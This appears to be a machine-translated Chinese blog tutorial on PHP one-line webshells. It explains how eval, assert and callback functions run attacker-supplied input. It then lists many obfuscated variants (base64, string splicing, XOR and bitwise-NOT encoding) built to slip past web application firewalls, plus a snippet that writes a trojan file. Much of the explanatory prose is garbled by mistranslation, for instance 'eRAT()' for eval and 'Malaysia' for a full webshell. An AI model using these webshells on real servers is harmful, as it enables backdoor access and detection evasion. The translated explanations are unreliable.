一句话木马的本质、变形及webshell含义与相关概念解析
总而言之,特洛伊木马是只需要一行代码的特洛伊木马,而在一行代码中,它们可以实现与马来西亚相似的功能。为了绕过WAF的检测,在一句话中,特洛伊木马的变形无数,但其本质没有变化:特洛伊木马的功能执行了我们发送的命令。

webshell含义
Webshell是以网页文件的形式存在的命令执行环境,也可以称为网页后门。
顾名思义,显然需要Web的含义才能为服务器打开Web服务。 Shell的含义是在某种程度上获得服务器的操作权限。 Webshell通常在网站服务器上通过网站端口在某种程度上被称为入侵者的权限。
由于Webshell主要以动态脚本的形式出现,因此有人将其称为网站的后门工具。用一句话,特洛伊木马,小马和马来西亚可以称为webshell。
一句特洛伊木马原理(PHP)
总而言之,特洛伊木马的原理是在PHP中使用eRAT()。
注意:由于它是一种语言构造函数而不是函数,因此无法通过可变函数调用。
1)php eval()根据PHP代码计算字符串。
2)字符串必须是合法的PHP代码,并且必须以半分离结束。
3)如果在代码字符串中未调用返回语句,则返回null。如果代码中存在解析错误,则eRET()函数返回false。
您可以主要使用功能和说明(PHP手册):
功能描述
评估
PHP 4,PHP 5,PHP 7+可用,接受参数,然后将字符串用作PHP代码进行执行
断言
PHP 4,PHP 5,PHP 7.2都可以使用,通常接受一个参数,并且在PHP5.4.8版本后可以接受两个参数
常规匹配课
preg_replace/mb_ereg_replace/preg_filter,等等。
文件包含类
包括/include_once/require/require_once/file_get_contents等。
基本词特洛伊木马:
@eval($_POST[a]);
?>
// 注:@是忽略可能出现的错误,建议使用eval、assert时都加上
在一个句子中写下webshell绕过特殊功能
call_user_func此功能可以调用其他功能。调用函数是call_user_func的第一个函数,调用函数的参数是call_user_func的第二个参数。这样的陈述也可以完成特洛伊木马字。 WAF拦截的一些特洛伊人可以通过此功能绕过WAF。 call_user_func +断言构造的句子可在php 7.0版本和以下使用
(注意:php> = 7.2之后,将字符串参数传递给sersert()函数被禁用,因为超漏洞常数$ _get [''']获得的攻击者输入是一个字符串,因此ASSERT函数的输入将触发disable disable disable但是。
@call_user_func(assert,$_POST['a']);
?>
@call_user_func(assert,phpinfo());
?>
(在这里,CALL_USER_FUNC函数无法调用eval,因为eval是语言构造函数而不是函数,并且无法通过可突出的函数调用。call_user_func具有两个参数。第一个参数需要一个函数,而eval只是语言构造函数,而不是语言构造函数,而不是一个函数函数,因此它不符合call_user_func语法,而调用eval将报告一个错误。
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
?>
原理:通过Create_Function“创建”函数,该功能接受数组,并将数组的第一个元素传递到essert中。
$test='';
file_put_contents("muma.php", $test);
?>
在这里,我们使用该功能生成muma.php trojan文件。该特洛伊木马文件的内容是file_put_contents函数(生成文件,第一个参数是文件名,第二个参数是文件的内容。
旁路WAF
WAF通常会根据关键字确定这是Trojan马的句子,但是可以通过在句子Trojan马上进行变形,呼叫,隐藏或更换关键字来实现,以实现绕过WAF的目的。
因此,如果您想绕过WAF,则需要掌握各种PHP提示。如果您掌握了更多技能,则可以将当时适合环境的特洛伊木马设计结合在一起。
$a = "eval";
$a(@$_POST['a']);
?>
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>
$a=base64_decode("ZXZhbA=="); //ZXZhbA== 是eval的base64加密
$a($_POST['a']);
?>
//"."并置操作符,连接两个及以上字符串;例如a="li",b="hua",c=a.b即c=lihua
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
$str="a=eval";
parse_str($str); //生成一个变量$a,值为字符串"eval"
$a($_POST['a']);
?>
参数描述
细绳
必要。指定要转换的字符串。
从
需要(除非使用数组)。指定要更改的字符。
到
需要(除非使用数组)。指定要更改为的字符。
大批
需要(除非从和要使用)。数个关键名称是更改的原始字符,而关键值是更改的目标字符。
$a = strtr('atestt','test','sser');
$a($_POST['x']);
?>
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
?>
思考:
php7之后,sustert()默认情况下不能再执行代码。只要WAF阻止了该功能,它就可以有效地防止Webshell被杀死,并且评估并不那么灵活。后来的小马转换和利用可能需要探索新的路径〜
参考:
PHP旁路技术分析:
没有数字和字母的网络壳:#)
Webshell可以自由杀死思维和学习:
PS:本文仅用于研究,不得用于非法目的!呢呢